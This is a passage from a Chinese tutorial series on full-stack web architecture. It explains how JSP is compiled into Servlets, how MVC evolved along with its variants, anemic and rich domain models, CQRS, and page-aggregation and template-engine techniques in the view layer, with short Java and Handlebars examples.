嗯，代码被顺利执行了。可是根据我们学到的原理，我们应该能找到这个 JSP 文件生成的 Java 和 class 文件，它们应该藏在某处。没错，现在进入如下目录 ${CATALINA_HOME}/work/Catalina/localhost/ROOT/org/apache/jsp，你可以看到这样几个文件：

index_jsp.java

hello_005fworld_jsp.java

index_jsp.class

hello_005fworld_jsp.class

你看，前两个 Java 文件就是根据 JSP 生成的 Servlet 的源代码，后两个就是这个 Servlet 编译后的字节码。以 index 开头的文件就是 Tomcat 启动时你最初看到的主页面，而以 hello 开头的这两个文件则完全来自于我们创建的 hello_world.jsp。

现在你可以打开 hello_005fworld_jsp.java，如果你有 Java 基础，那么你应该可以看得懂其中的代码。代码中公有类 hello_005fworld_jsp 继承自 HttpJspBase 类，而如果你查看 Tomcat 的 API 文档，你就会知道，原来它进一步继承自 HttpServlet 类，也就是说，这个自动生成的 Java 文件，就是 Servlet。

在 117 行附近，你可以找到我们写在 JSP 页面中的内容，它们以流的方式被写入了 HTTP 响应：

out.write("Hello world! Time: ");

out.print( new java.util.Date() );

out.write('\n');

通过自己动手，我想你现在应该更加理解 JSP 的工作原理了。你看，JSP 和 Servlet 并不是完全独立的“两个人”，JSP 实际工作的时候，是以 Servlet 的形式存在的，也就是说，前者其实是可以转化成后者的。

3. 深入理解

好，那么问题来了，我们为什么不直接使用 Servlet，而要设计出 JSP 这样的技术，让其在实际运行中转化成 Servlet 来执行呢？

最重要的原因，从编程范型的角度来看，JSP 页面的代码多是基于声明式（Declarative），而 Servlet 的代码则多是基于命令式（Imperative），这两种技术适合不同的场景。这两个概念，最初来源于编程范型的分类，声明式编程，是去描述物件的性质，而非给出指令，而命令式编程则恰恰相反。

比方说，典型的 JSP 页面代码中，只有少数一些 scriptlet，大部分还是 HTML 等格式的文本，而 HTML 文本会告诉浏览器，这里显示一个按钮，那里显示一个文本输入框，随着程序员对代码的阅读，可以形象地在脑海里勾勒出这个页面的样子，这也是声明式代码的一大特点。全栈工程师经常接触到的 HTML、XML、JSON 和 CSS 等，都是声明式代码。你可能注意到了，这些代码都不是使用编程语言写的，而是使用标记语言写的，但是，编程语言其实也有声明式的，比如 Prolog。

再来说命令式代码，在 Servlet 中，它会一条一条语句告诉计算机下一步该做什么，这个过程就是命令式的。我们绝大多数的代码都是命令式的。声明式代码是告诉计算机“什么样”，而不关注“怎么做”；命令式代码则是告诉计算机“怎么做”，而不关注“什么样”。

为什么需要两种方式？因为人的思维是很奇特的，对于某些问题，使用声明式会更符合直觉，更形象，因而更接近于人类的语言；而另一些问题，则使用命令式，更符合行为步骤的思考模式，更严谨，也更能够预知机器会怎样执行。

计算机生来就是遵循命令执行的，因此声明式的 JSP 页面会被转化成一行行命令式的 Servlet 代码，交给计算机执行。可是，你可以想象一下，如果 HTML 那样适合声明式表述的代码，程序员使用命令式来手写会是怎样的一场噩梦——代码将会变成无趣且易错的一行行字符串拼接。

MVC 的演进

我想你一定听过 MVC 这种经典的架构模式，它早在 20 世纪 70 年代就被发明出来了，直到现在，互联网上的大多数网站，都是遵从 MVC 实现的，这足以见其旺盛的生命力。MVC 模式包含这样三层：

控制器（Controller），恰如其名，主要负责请求的处理、校验和转发。

视图（View），将内容数据以界面的方式呈现给用户，也捕获和响应用户的操作。

模型（Model），数据和业务逻辑真正的集散地。

你可能会想，这不够全面啊，这三层之间的交互和数据流动在哪里？别急，MVC 在历史上经历了多次演进，这三层，再加上用户，它们之间的交互模型，是逐渐变化的。哪怕在今天，不同的 MVC 框架的实现在这一点上也是有区别的。

1. JSP Model 1

JSP Model 1 是整个演化过程中最古老的一种，请求处理的整个过程，包括参数验证、数据访问、业务处理，到页面渲染（或者响应构造），全部都放在 JSP 页面里面完成。JSP 页面既当爹又当妈，静态页面和嵌入动态表达式的特性，使得它可以很好地容纳声明式代码；而 JSP 的 scriptlet，又完全支持多行 Java 代码的写入，因此它又可以很好地容纳命令式代码。

2. JSP Model 2

在 Model 1 中，你可以对 JSP 页面上的内容进行模块和职责的划分，但是由于它们都在一个页面上，物理层面上可以说是完全耦合在一起，因此模块化和单一职责无从谈起。和 Model 1 相比，Model 2 做了明显的改进。

JSP 只用来做一件事，那就是页面渲染，换言之，JSP 从全能先生转变成了单一职责的页面模板；

引入 JavaBean 的概念，它将数据库访问等获取数据对象的行为封装了起来，成为业务数据的唯一来源；

请求处理和派发的活交到纯 Servlet 手里，它成为了 MVC 的“大脑”，它知道创建哪个 JavaBean 准备好业务数据，也知道将请求引导到哪个 JSP 页面去做渲染。

通过这种方式，你可以看到，原本全能的 JSP 被解耦开了，分成了三层，这三层其实就是 MVC 的 View、Model 和 Controller。于是殊途同归，MVC 又一次进入了人们的视野，今天的 MVC 框架千差万别，原理上却和这个版本基本一致。

上面提到了一个概念 JavaBean，随之还有一个常见的概念 POJO，这是在 Java 领域中经常听到的两个名词，但有时它们被混用。在此，我想对这两个概念做一个简短的说明。

JavaBean 其实指的是一类特殊的封装对象，这里的“Bean”其实指的就是可重用的封装对象。它的特点是可序列化，包含一个无参构造器，以及遵循统一的 getter 和 setter 这样的简单命名规则的存取方法。

POJO，即 Plain Old Java Object，还是最擅长创建软件概念的 Martin Fowler 的杰作。它指的就是一个普通和简单的 Java 对象，没有特殊限制，也不和其它类有关联（它不能继承自其它类，不能实现任何接口，也不能被任何注解修饰）。

所以，二者是两个类似的概念，通常认为它们之间具备包含关系，即 JavaBean 可以视作 POJO 的一种。但它们二者也有一些共性，比如，它们都是可以承载实际数据状态，都定义了较为简单的方法，概念上对它们的限制只停留在外在表现（即内部实现可以不“plain”，可以很复杂，比如 JavaBean 经常在内部实现中读写数据库）。

3. MVC 的一般化

JSP Model 2 已经具备了 MVC 的基本形态，但是，它却对技术栈有着明确限制——Servlet、JSP 和 JavaBean。今天我们见到的 MVC，已经和实现技术无关了，并且，在 MVC 三层大体职责确定的基础上，其中的交互和数据流动却是有许多不同的实现方式的。

不同的 MVC 框架下实现的 MVC 架构不同，有时即便是同一个框架，不同的版本之间其 MVC 架构都有差异（比如 ASP.NET MVC），在这里我只介绍最典型的两种情况，如果你在学习的过程中见到其它类型，请不要惊讶，重要的是理解其中的原理。

第一种：

上图是第一种典型情况，这种情况下，用户请求发送给 Controller，而 Controller 是大总管，需要主动调用 Model 层的接口去取得实际需要的数据对象，之后将数据对象发送给需要渲染的 View，View 渲染之后返回页面给用户。

在这种情况下，Controller 往往会比较大，因为它要知道需要调用哪个 Model 的接口获取数据对象，还需要知道要把数据对象发送给哪个 View 去渲染；View 和 Model 都比较简单纯粹，它们都只需要被动地根据 Controller 的要求完成它们自己的任务就好了。

第二种：

上图是第二种典型情况，请和第一种比较，注意到了区别没有？这种情况在更新操作中比较常见，Controller 调用 Model 的接口发起数据更新操作，接着就直接转向最终的 View 去了；View 会调用 Model 去取得经过 Controller 更新操作以后的最新对象，渲染并返回给用户。

在这种情况下，Controller 相对就会比较简单，而这里写操作是由 Controller 发起的，读操作是由 View 发起的，二者的业务对象模型可以不相同，非常适合需要 CQRS（Command Query Responsibility Segregation，命令查询职责分离）的场景，我在 [第 08 讲] 中会进一步介绍 CQRS。

4. MVC 的变体

MVC 的故事还没完，当它的核心三层和它们的基本职责发生变化，这样的架构模式就不再是严格意义上的 MVC 了。这里我介绍两种 MVC 的变体：MVP 和 MVVM。

MVP 包含的三层为 Model、View 和 Presenter，它往往被用在用户的界面设计当中，和 MVC 比起来，Controller 被 Presenter 替代了。

Model 的职责没有太大的变化，依然是业务数据的唯一来源。

View 变成了纯粹的被动视图，它被动地响应用户的操作来触发事件，并将其转交给 Presenter；反过来，它的视图界面被动地由 Presenter 来发起更新。

Presenter 变成了 View 和 Model 之间的协调者（Middle-man），它是真正调度逻辑的持有者，会根据事件对 Model 进行状态更新，又在 Model 层发生改变时，相应地更新 View。

MVVM 是在 MVP 的基础上，将职责最多的 Presenter 替换成了 ViewModel，它实际是一个数据对象的转换器，将从 Model 中取得的数据简化，转换为 View 可以识别的形式返回给 View。View 和 ViewModel 实行双向绑定，成为命运共同体，即 View 的变化会自动反馈到 ViewModel 中，反之亦然。关于数据双向绑定的知识我还会在 [第 10 讲] 中详解。

总结思考

今天我们学习了 JSP 和 Servlet 这两个同源技术的本质，它们是分别通过声明式和命令式两种编程范型来解决同一问题的体现，接着围绕解耦这一核心，了解了 MVC 的几种形式和变体。

JSP Model 1：请求处理的整个过程，全部都耦合在 JSP 页面里面完成；

JSP Model 2：MVC 分别通过 JavaBean、JSP 和 Servlet 解耦成三层；

MVC 的常见形式一：数据由 Controller 调用 Model 来准备，并传递给 View 层；

MVC 的常见形式二：Controller 发起对数据的修改，在 View 中查询修改后的数据并展示，二者分别调用 Model；

MVP：Presenter 扮演协调者，对 Model 和 View 实施状态的更新；

MVVM：View 和 ViewModel 实行数据的双向绑定，以自动同步状态。

好，现在提两个问题，检验一下今天的学习成果：

我们介绍了 JSP 页面和 Servlet 在编程范型上的不同，这两个技术有着不同的使用场景，你能举出例子来说明吗？

在介绍 MVC 的一般化时，我介绍了两种典型的 MVC 各层调用和数据流向的实现，你工作或学习中使用过哪一种，还是都没使用过，而是第三种？

MVC 是本章的核心内容，在这之后的几讲中我会对 MVC 逐层分解，今天的内容先打个基础，希望你能真正地理解和消化，这将有助于之后的学习。欢迎你在留言区和我讨论！

扩展阅读

【基础】专栏文章中的例子有时会涉及到 Java 代码，如果你对 Java 很不熟悉，可以参考廖雪峰 Java 教程中“快速入门”的部分，它很短小，但是覆盖了专栏需要的 Java 基础知识。

【基础】W3Cschool 上的 Servlet 教程和 JSP 教程，如果你对这二者完全不了解，那我推荐你阅读。在较为系统的教程中，这两个算较为简洁的，如果觉得内容较多，可以挑选其中的几个核心章节阅读。

如果你顺利地将文中介绍的 Tomcat 启动起来了，并且用的也是 9.x 版本，那么你可以直接访问 http://localhost:8080/examples/，里面有 Tomcat 自带的很多典型和带有源码的例子，有 JSP 的例子，也有 Servlet 的例子，还有 WebSocket 的例子（由于我们前一章已经学过了 WebSocket，这里你应该可以较为顺利地学习）。

08 | MVC架构解析：模型（Model）篇

你好，我是四火。

在上一讲中，我们了解了 MVC 这个老而弥坚的架构模式，而从这一讲开始，连同第 09、10 讲共计 3 篇，我将分别展开介绍 MVC 三大部分内容。今天我要讲的就是第一部分——模型（Model）。

概念

首先我们要了解的是，我们总在谈“模型”，那到底什么是模型？

简单说来，模型就是当我们使用软件去解决真实世界中各种实际问题的时候，对那些我们关心的实际事物的抽象和简化。比如我们在软件系统中设计“人”这个事物类型的时候，通常只会考虑姓名、性别和年龄等一些系统用得着的必要属性，而不会把性格、血型和生辰八字等我们不关心的东西放进去。

更进一步讲，我们会谈领域模型（Domain Model）。“领域”两个字显然给出了抽象和简化的范围，不同的软件系统所属的领域是不同的，比如金融软件、医疗软件和社交软件等等。如今领域模型的概念包含了比其原本范围定义以外更多的内容，我们会更关注这个领域范围内各个模型实体之间的关系。

MVC 中的“模型”，说的是“模型层”，它正是由上述的领域模型来实现的，可是当我们讲这一层的时候，它包含了模型上承载的实实在在的业务数据，还有不同数据间的关联关系。因此，我们在谈模型层的时候，有时候会更关心领域模型这一抽象概念本身，有时候则会更关心数据本身。

贫血模型和充血模型

第一次听到“贫血模型”“充血模型”这两个词的时候，可能你就会问了，什么玩意儿？领域模型还有贫血和充血之说？

其实，这两兄弟是 Martin Fowler 造出来的概念。要了解它们，得先知道这里讲的“血”是什么。

这里的“血”，就是逻辑。它既包括我们最关心的业务逻辑，也包含非业务逻辑 。因此，贫血模型（Anemic Domain Model），意味着模型实体在设计和实现上，不包含或包含很少的逻辑。通常这种情况下，逻辑是被挪了出去，由其它单独的一层代码（比如这层代码是“Service”）来完成。

严格说起来，贫血模型不是面向对象的，因为对象需要数据和逻辑的结合，这也是贫血模型反对者的重要观点之一。如果主要逻辑在 Service 里面，这一层对外暴露的接口也在 Service 上，那么事实上它就变成了面向“服务”的了，而模型实体，实际只扮演了 Service API 交互入参出参的角色，或者从本质上说，它只是遵循了一定封装规则的容器而已。

这时的模型实体，不包含逻辑，但包含状态，而逻辑被解耦到了无状态 Service 中。既然没有了状态，Service 中的方法，就成为过程式代码的了。请注意，不完全面向对象并不代表它一定“不好”，事实上，在互联网应用设计中，贫血模型和充血模式都有很多成功的使用案例，且非常常见。

比如这样的一个名为 Book 的类：

public class Book {

    private int id;

    private boolean onLoan;

    public int getId() {

        return this.id;

    }

    public void setId(int id) {

        this.id = id;

    }

    public boolean isOnLoan() {

        return this.loan;

    }

    public void setOnLoan(boolean onLoan) {

        this.onLoan = onLoan;

    }

}

你可以看到，它并没有任何实质上的逻辑在里面，方法也只有简单的 getters 和 setters 等属性获取和设置方法，它扮演的角色基本只是一个用作封装的容器。

那么真正的逻辑，特别是业务逻辑在哪里呢？有这样一个 Service：

public class BookService {

    public Book lendOut(int bookId, int userId, Date date) { ... }

}

这个 lendOut 方法表示将书从图书馆借出，因此它需要接收图书 id 和 用户 id。在实现中，可能需要校验参数，可能需要查询数据库，可能需要将从数据源获得的原始数据装配到返回对象中，可能需要应用过滤条件，这里的内容，就是逻辑。

现在，我们再来了解一下充血模型（Rich Domain Model）。在充血模型的设计中，领域模型实体就是有血有肉的了，既包含数据，也包含逻辑，具备了更高程度的完备性和自恰性，并且，充血模型的设计才是真正面向对象的。在这种设计下，我们看不到 XXXService 这样的类了，而是通过操纵有状态的模型实体类，就可以达到数据变更的目的。

public class Book {

    private int id;

    private boolean onLoan;

    public void lendOut(User user, Date date) { ... }

    ... // 省略属性的获取和设置方法

}

在这种方式下，lendOut 方法不再需要传入 bookId，因为它就在 Book 对象里面存着呢；也不再需要传出 Book 对象作为返回值，因为状态的改变直接反映在 Book 对象内部了，即 onLoan 会变成 true。

也就是说，Book 的行为和数据完完全全被封装的方法控制起来了，中间不会存在不应该出现的不一致状态，因为任何改变状态的行为只能通过 Book 的特定方法来进行，而它是可以被设计者严格把控的。

而在贫血模型中就做不到这一点，一是因为数据和行为分散在两处，二是为了在 Service 中能组装模型，模型实体中本不该对用户开放的接口会被迫暴露出来，于是整个过程中就会存在状态不一致的可能。

但是请注意，无论是充血模型还是贫血模型，它和 Model 层做到何种程度的解耦往往没有太大关系。比如说这个 lendOut 方法，在某些设计中，它可以拆分出去。对于贫血模型来说，它并非完全属于 BookService，可以拿到新建立的“借书关系”的服务中去，比如：

public class LoanService {

    public Loan add(int bookId, int userId, Date date) { ... }

}

这样一来，借书的关系就可以单独维护了，借书行为发生的时候，Book 和 User 两个实体对应的数据都不需要发生变化，只需要改变这个借书关系的数据就可以了。对于充血模型来说，一样可以做类似拆分。

内部层次划分

软件的耦合和复杂性问题往往都可以通过分层解决，模型层内部也一样，但是我们需要把握其中的度。层次划分过多、过细，并不利于开发人员严格遵从和保持层次的清晰，也容易导致产生过多的无用样板代码，从而降低开发效率。下面是一种比较常见的 Model 层，它是基于贫血模型的分层方式。

在这种划分方式下，每一层都可以调用自身所属层上的其它类，也可以调用自己下方一层的类，但是不允许往上调用，即依赖关系总是“靠上面的层”依赖着“靠下面的层”。最上面三层是和业务模型实体相关的，而最下面一层是基础设施服务，和业务无关。从上到下，我把各层依次简单介绍一下：

第一层 Facade，提供粗粒度的接口，逻辑上是对 Service 功能的组合。有时候由于事务需要跨多个领域模型的实体控制，那就适合放在这里。举例来说，创建用户的时候，我们同时免费赠送一本电子书给用户，我们既要调用 UserService 去创建用户对象，也要调用 SubscriptionService 去添加一条订购（赠送）记录，而这两个属于不同 Service 的行为需要放到一处 Facade 类里面做统一事务控制。在某些较小系统的设计里面，Service 和 Facade 这两层是糅合在一起的。

第二层 Service，前面已经介绍了，通常会存放仅属于单个领域模型实体的操作。

第三层数据访问层，在某些类型的数据访问中需要，比如关系型数据库，这里存放数据库字段和模型对象之间的 ORM（Object-Relational Mapping，对象关系映射）关系。

第四层基础设施层，这一层的通用性最好，必须和业务无关。某些框架会把基础设施的工作给做了，但有时候也需要我们自己实现。比如 S3Service，存放数据到亚马逊的分布式文件系统。

CQRS 模式

你也许听说过数据库的读写分离，其实，在模型的设计中，也有类似读写分离的机制，其中最常见的一种就叫做 CQRS（Command Query Responsibility Segregation，命令查询职责分离）。

一般我们设计的业务模型，会同时被用作读（查询模式）和写（命令模式），但是，实际上这两者是有明显区别的，在一些业务场景中，我们希望这两者被分别对待处理，那么这种情况下，CQRS 就是一个值得考虑的选项。

为什么要把命令和查询分离？我举个例子来说明吧，比如这样的贫血模型：

class Book {

    private long id;

    private String name;

    private Date publicationDate;

    private Date creationDate;

    ... // 省略其它属性和 getter/setter 方法

}

那么，相应地，就有这样一个 BookService：

class BookService {

    public Book add(Book book);

    public Pagination<Book> query(Book book);

}

这个接口提供了两个方法：

一个叫做 add 方法，接收一个 book 对象，这个对象的 name 和 publicationDate 属性会被当做实际值写入数据库，但是 id 会被忽略，因为 id 是数据库自动生成的，具备唯一性，creationDate 也会被忽略，因为它也是由数据库自动生成的，表示数据条目的创建时间。写入数据库完成后，返回一个能够反映实际写入库中数据的 Book 对象，它的 id 和 creationDate 都填上了数据库生成的实际值。

你看，这个方法，实际做了两件事，一件是插入数据，即写操作；另一件是返回数据库写入的实际对象，即读操作。

另一个方法是 query 方法，用于查询，这个 Book 入参，被用来承载查询参数了 。比方说，如果它的 author 值为“Jim”，表示查询作者名字为“Jim”的图书，返回一个分页对象，内含分页后的结果列表。

但这个方法，其实有着明显的问题。这个问题就是，查询条件的表达，并不能用简单的业务模型很好地表达。换言之，这个模型 Book，能用来表示写入，却不适合用来表示查询。为什么呢？

比方说，你要查询出版日期从 2018 年到 2019 年之间的图书，你该怎么构造这个 Book 对象？很难办对吧，因为 Book 只能包含一个 publicationDate 参数，这种“难办”的本质原因，是模型的不匹配，即这个 Book 对象根本就不适合用来做查询调用的模型。

在清楚了问题以后，解决方法 CQRS 就自然而然产生了。简单来说，CQRS 模式下，模型层的接口分为且只分为两种：

命令（Command），它不返回任何结果，但会改变数据的状态。

查询（Query），它返回结果，但是不会改变数据的状态。

也就是说，它把命令和查询的模型彻底分开了。上面的例子 ，使用 CQRS 的方式来改写一下，会变成这样：

class BookService {

    public void add(Book book);

    public Pagination<Book> query(Query bookQuery);

}

你看，在 add 操作的时候，不再有返回值；而在 query 操作的时候，入参变成了一个 Query 对象，这是一个专门的“查询对象”，查询对象里面可以放置多个查询条件，比如：

Query bookQuery = new Query(Book.class);

query.addCriteria(Criteria.greaterThan("publicationDate", date_2018));

query.addCriteria(Criteria.lessThan("publicationDate", date_2019));

读到这里，不知道你有没有联想到这样两个知识点：

第一个知识点，在 [第 04 讲] 我们学习 REST 风格的时候，我们把 HTTP 的请求从两个维度进行划分，是否幂等，以及是否安全。按照这个角度来考量，CQRS 中的命令，可能是幂等的（例如对象更新），也可能不是幂等的（例如对象创建），但一定是不安全的；CQRS 中的查询，一定是幂等的，且一定是安全的。

第二个知识点，在 [第 07 讲] 我们学习 MVC 的一般化，其中的“第二种”典型情况时，Controller 会调用 Model 层的，执行写入操作；而 View 层会调用 Model 层，执行只读操作——看起来这不就是最适合 CQRS 的一种应用场景吗？

所以说，技术确实都是相通的。

总结思考

今天我们详细剖析了 MVC 架构中 Model 层的方方面面，并结合例子理解了贫血模型和充血模型的概念和特点，还介绍了一种典型的模型层的内部层次划分方法，接着介绍了 CQRS 这种将命令和查询行为解耦开的模型层设计方式。

其中，贫血模型和充血模型的理解是这一讲的重点，这里我再强调一下：

贫血模型，逻辑从模型实体中剥离出去，并被放到了无状态的 Service 层中，于是状态和逻辑就被解耦开了；

充血模型，它既包含数据，也包含逻辑，具备了更高程度的完备性和自恰性。

最后，我来提两个问题，一同检验下今天的学习成果吧：

请回想一下，在你经历过的项目中，使用过什么 MVC 框架，Model 层的代码是遵循贫血模型还是充血模型设计的？

在文中应用 CQRS 模式的时候，add 方法不再返回 Book 对象，这样一来，方法调用者就无法知道实际插入的 Book 对象的 id 是什么，就无法在下一步根据 id 去数据库查询出这个 Book 对象了。那么，这个问题该怎么解决呢？

好，今天的内容就到这里，有余力还可以了解下扩展阅读的内容。有关今天的知识点，如果你在实际的工作经历中遇到过，其实是非常适合拿来一起比较的。可以谈谈你在这方面的经验，也可以分享你的不同理解，期待你的想法！

扩展阅读

AnemicDomainModel，Martin Fowler 写的批评贫血模型的文章，他自己提出了贫血和充血的概念，因此我们可以到概念的源头去，看看他做出批评的理由是什么。

【基础】在模型层我们经常会和数据库打交道，SQL 是这部分的基础，如果你完全不了解 SQL，可以阅读 W3school 上的 SQL 基础教程（左侧目录中的基础教程，内容简短）。

文中提到了查询对象（Query Object），这其实是一种常见的设计模式，文中举例说明了是怎么使用的，但是，如果你想知道它是怎么实现的，可以阅读 Query Object Pattern 这篇文章，上面有很好的例子。

09 | MVC架构解析：视图（View）篇

你好，我是四火。

今天我们继续学习 MVC 架构，主要内容就是 MVC 架构的第二部分——视图（View）。

概念

首先，我想问一问，什么是视图？有程序员说是界面，有程序员说是 UI（User Interface），这些都对，但是都不完整。

我认为MVC 架构中的视图是指将数据有目的、按规则呈现出来的组件。因此，如果返回和呈现给用户的不是图形界面，而是 XML 或 JSON 等特定格式组织呈现的数据，它依然是视图，而用 MVC 来解决的问题，也绝不只是具备图形界面的网站或者 App 上的问题。

页面聚合技术

虽然视图的定义实际更宽泛，但是我们平时讲到的视图，多半都是指“页面”。这里，就不得不提花样繁多的页面聚合技术了。

回想一下，之前我们在讲 Model 层的时候，是怎样解耦的？我们的办法就是继续分层，或是模块化；而对于 View 层来说，我们的办法则是拆分页面，分别处理，最终聚合起来。具体来说，这里提到的页面聚合，是指将展示的信息通过某种技术手段聚合起来，并形成最终的视图呈现给用户。页面聚合有这样两种典型类型。

结构聚合：指的是将一个页面中不同的区域聚合起来，这体现的是分治的思想。例如一个页面，具备页眉、导航栏、目录、正文、页脚，这些区域可能是分别生成的，但是最后需要把它们聚合在一起，再呈现给用户。

数据 - 模板聚合：指的是聚合静态的模板和动态的数据，这体现的是解耦的思想。例如有的新闻网站首页整个页面的 HTML 是静态的，用户每天看到的样子都是差不多的，但每时每刻的新闻列表却是动态的，是不断更新的。

请注意这两者并不矛盾，很多网站的页面都兼具这两种聚合方式。

服务端和客户端聚合方式的比较

客户端聚合技术的出现远比服务端晚，因为和服务端聚合不同，这种聚合方式对于客户端的运算能力，客户端的 JavaScript 技术，以及浏览器的规范性都有着明确的要求。但是，客户端聚合技术却是如今更为流行的技术，其原因包括：

架构上，客户端聚合达成了客户端 - 服务端分离和模板 - 数据聚合这二者的统一，这往往可以简化架构，保持灵活性。

比如说，对于模板和静态资源（如脚本、样式、图片等），可以利用 CDN（Content Delivery Network，内容分发网络）技术，从网络中距离最近的节点获取，以达到快速展示页面的目的；而动态的数据则可以从中心节点异步获取，速度会慢一点，但保证了数据的一致性。数据抵达浏览器以后，再完成聚合，静态和动态的资源可以根据实际情况分别做服务端和客户端的优化，比如浏览器适配、缓存等等。如下图：

你看上面这个例子，浏览器在上海，模板和静态资源从本地的上海节点获取，而数据异步从北京的中心节点获取。这种方式下，静态资源的访问是比较快的，而为了保证一致性，数据是从北京的中心节点获取的，这个速度会慢一些。在模板抵达浏览器以后，先展示一个等待的效果，并等待数据返回。在数据也抵达浏览器以后，则立即通过 JavaScript 进行客户端的聚合，展示聚合后的页面。

如果我们使用服务端聚合，就必须在服务端同时准备好模板和数据，聚合形成最终的页面，再返回给浏览器。整个过程涉及到的处理环节更多，架构更为复杂，而且同样为了保证一致性，数据必须放在北京节点，那么模板也就被迫从北京节点取得，聚合完成之后再返回，这样用户的等待时间会更长，用户也会看到浏览器的进度条迟迟完不成。见下图：

资源上，客户端聚合将服务器端聚合造成的计算压力，分散到了客户端。可是实际上，这不只是计算的资源，还有网络传输的资源等等。比如说，使用服务端聚合，考虑到数据是会变化的，因而聚合之后的报文无法被缓存；而客户端聚合则不然，通常只有数据是无法被缓存，模板是可以被缓存起来的。

但是，客户端聚合也有它天然的弊端。其中最重要的一条，就是客户端聚合要求客户端具备一定的规范性和运算能力。这在现在多数的浏览器中都不是问题，但是如果是手机浏览器，这样的问题还是很常见的，由于操作系统和浏览器版本的不同，考虑聚合逻辑的兼容性，客户端聚合通常对终端适配有更高的要求，需要更多的测试。

在实际项目中，我们往往能见到客户端聚合和服务端聚合混合使用。具体来说，Web 页面通常主要使用客户端聚合，而某些低端设备页面，甚至 Wap 页面（常用于较为低端的手机上）则主要使用服务端聚合。下面我们就来学习一些具体的聚合技术。

常见的聚合技术

1. iFrame 聚合

iFrame 是一种最为原始和简单的聚合方式，也是 CSI（Client Side Includes，客户端包含）的一种典型方式，现在很多门户网站的广告投放，依然在使用。具体实现，只需要在 HTML 页面中嵌入这样的标签即可：

<iframe src="https://..."></iframe>

这种方式本质上是给当前页面嵌入了一个子页面，对于浏览器来说，它们是完全独立的两个页面。其优势在于，不需要考虑跨域问题，而且如果这个子页面出了问题，往往也不会影响到父页面的展示。

不过，这种方式的缺点也非常明显，也是因为它们是两个独立的页面。比如子页面和父页面之间的交互和数据传递往往比较困难，再比如预留 iFrame 的位置也是静态的，不方便根据 iFrame 实际的内容和浏览器的窗口情况自适应并动态调整占用位置和大小，再比如对搜索引擎的优化不友好等等。

2. 模板引擎

模板引擎是最完备、最强大的解决方案，无论客户端还是服务端，都有许许多多优秀的模板引擎可供选择。比如 Mustache，它不但可以用作客户端，也可以用作服务端的聚合，这是因为它既有 JavaScript 的库，也有后端语言，比如 Java 的库，再比如非常常用的 Underscore.js，性能非常出色。

某些前端框架，为了达到功能或性能上的最优，也会自带一套自己的模板引擎，比如 AngularJS，我在下一章讲前端的时候会介绍。

在使用模板引擎的时候，需要注意保持 View 层代码职责的清晰和纯粹，这在全栈项目开发的过程中尤为重要。负责视图，就只做展示的工作，不要放本该属于 Model 层的业务逻辑，也不要干请求转发和流程控制等 Controller 的活。回想上一讲我们学的 JSP 模板，就像 JSP Model 1 一样，功能多未必代表着模板引擎的优秀，有时候反而是留下了一个代码耦合的后门。

3. Portlet

Portlet 在早几年的门户应用（Portal）中很常见，它本身是一种 Web 的组件，每个 Portlet 会生成一个标记段，多个 Portlets 生成的标记段可以最终聚集并嵌入到同一个页面上，从而形成一个完整的最终页面。

技术上，Portlet 可以做到远程聚合（服务端），也可以做到本地聚合（客户端），数据来源的业务节点可以部署得非常灵活，因此在企业级应用中也非常常见。

Java 的 Portlet 规范经历了三个版本，详细定义了 Portlet 的生命周期、原理机制、容器等等方方面面。从最终的呈现来看，网站应用 Portlet 给用户的体验就像是在操作本地计算机一样，多个窗口层叠或平铺在桌面，每个窗口都是独立的，自包含的，并且可以任意调整位置，改变布局和大小。

如今 Portlet 因为其实现的复杂性、自身的限制，和较陡峭的学习曲线，往往显得比较笨重，因此应用面并不是很广泛。

（上图来自 JBoss 的官方文档：Portlet development，上图代表了一个页面，上面的每一个窗口都分别由一个 Portlet 实现）

4. SSI

还记得前面讲过的 CSI，客户端包含吗？与之相对的，自然也有服务端包含——SSI（ Server Side Includes）。它同样是一种非常简单的服务端聚合方式，大多数流行的 Web 服务器都支持 SSI 的语法。

比如下面这样的一条“注释”，从 HTML 的角度来讲，它确实是一条普通的注释，但是对于支持 SSL 的服务器来说，它就是一条特殊的服务器端包含的指令：

<!--#include file="extend.html" -->

模板引擎的工作机制

前面已经提及了一些常见的页面聚合技术，但是模板引擎始终是最常用的，也自然是其中的重点。下面我们就结合一个小例子来一窥模板引擎的工作机制。

还记得 [第 07 讲] 介绍的 JSP 工作原理吗？类似的，模板引擎把渲染的工作分为编译和执行两个环节，并且只需要编译一次，每当数据改变的时候，模板并没有变，因而反复执行就可以了。

只不过这次，我们在编译后生成的目标代码，不再是 class 文件了，而是一个 JavaScript 的函数。因此我们可以尽量把工作放到预编译阶段去，生成函数以后，原始的模板就不再使用了，后面每次需要执行和渲染的时候直接调用这个函数传入参数就可以了。

比如这样的 Handlebars 模板，使用一个循环，要在一个表格中列出图书馆所有图书的名字和描述：

<table>

  {{#each books}}

  <tr>

    <td>

      {{this.name}}

    </td>

    <td>

      {{this.desc}}

    </td>

  </tr>

  {{/each}}

</table>

接着，模板被加载到变量 templateContent 里面，传递给 Handlebars 来进行编译，编译的结果是一个可执行的函数 func。编译过程完成后，就可以进行执行的过程了，func 接受一个图书列表的入参，输出模板执行后的结果。这两个过程如下：

var func = Handlebars.compile(templateContent);

var result = func({

    books : [

        { name : "A", desc : "..." },

        { name : "B", desc : "..." }

    ]

});

如果我们想对这个 func 一窥究竟，我们将看到类似这样的代码：

var buffer = "", stack1, functionType="function", escapeExpression=this.escapeExpression, self=this;

function program1(depth0,data) {

  var buffer = "", stack1;

  buffer += "\n  <tr>\n    <td>"

    + escapeExpression(((stack1 = depth0.name),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))

    + "</td>\n    <td>"

    + escapeExpression(((stack1 = depth0.desc),typeof stack1 === functionType ? stack1.apply(depth0) : stack1))

    + "</td>\n  </tr>\n  ";

  return buffer;

}

buffer += "\n<table>\n  ";

stack1 = helpers.each.call(depth0, depth0.books, {hash:{},inverse:self.noop,fn:self.program(1, program1, data),data:data});

if(stack1 || stack1 === 0) { buffer += stack1; }

buffer += "\n</table>\n";

return buffer;

我们不需要对上面代码的每一处都了解清楚，但是可以看到一个大概的执行步骤，模板被编译后生成了一个字符串拼接的方法，即模板本身的字符串，去拼接实际传出的数据：

由于模板中定义了一个循环，因此方法 program1 在循环中被调用若干次；

对于 td 标签中间的数据，会判断是直接拼接，还是作为方法递归调用，拼接其返回值。

总结思考

今天我们学习了 MVC 架构中的视图层（View），对于五花八门的页面聚合技术，我们需要抓住其本质，和前面学习 Model 层的解耦一样，应对软件复杂性的问题，绝招别无二致，就是“拆分”。

